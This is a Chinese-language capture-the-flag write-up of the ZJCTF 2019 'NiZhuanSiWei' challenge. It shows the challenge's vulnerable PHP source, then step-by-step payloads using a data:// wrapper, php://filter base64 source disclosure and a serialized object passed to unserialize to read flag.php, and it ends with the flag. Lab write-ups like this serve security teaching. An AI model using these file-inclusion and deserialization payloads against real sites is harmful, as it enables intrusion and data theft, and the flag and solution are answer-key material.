[ZJCTF 2019]NiZhuanSiWei
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
通过阅读源码得知,我们需要get方式提交参数,text、file、password
第一个绕过点
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
isset的作用是检测变量是否已设置并且非null
file_get_contents的作用是将整个文件读入一个字符串
这里将text文件中读取字符串,还要和welcome to the zjctf相等
可以使用data://写入协议构造第一个payload
?text=data://text/plain,welcome to the zjctf
第二处提示
观察file参数处useless.php的提示,那就读取下useless.php文件信息,使用php伪协议来读取文件
file=php://filter/read=convert.base64-encode/resource=useless.php
通过base64解码得到源码
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
这里最后会echo输出$file,将flag.php的值给了$file,然后反序列化使用在线工具执行一下,得到输出O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
将flag.php的值给了$file,然后反序列化使用在线工具执行一下,得到输出O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
第三处payload
password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}
查看源代码得到flag信息
flag{37bc19e7-9ead-46a1-81b8-d647d20ca4f3}
总结:
第一步:首先拿到题目,审计源码,需要我们传递参数,需要我们写入数据,这里用到了伪协议 data://,然后file_get_contnets()读取里面的字符串与之匹配
第二步:不能够直接用flag.php直接访问,我们需要读取useless.php的源码,这时候用到了伪协议中的php://filter来读取,我们读取的字符串是base64格式的需要我们进行转码
第三步:构造反序列化,得到password
第四步:构造最终的payload,然后在源码中获得flag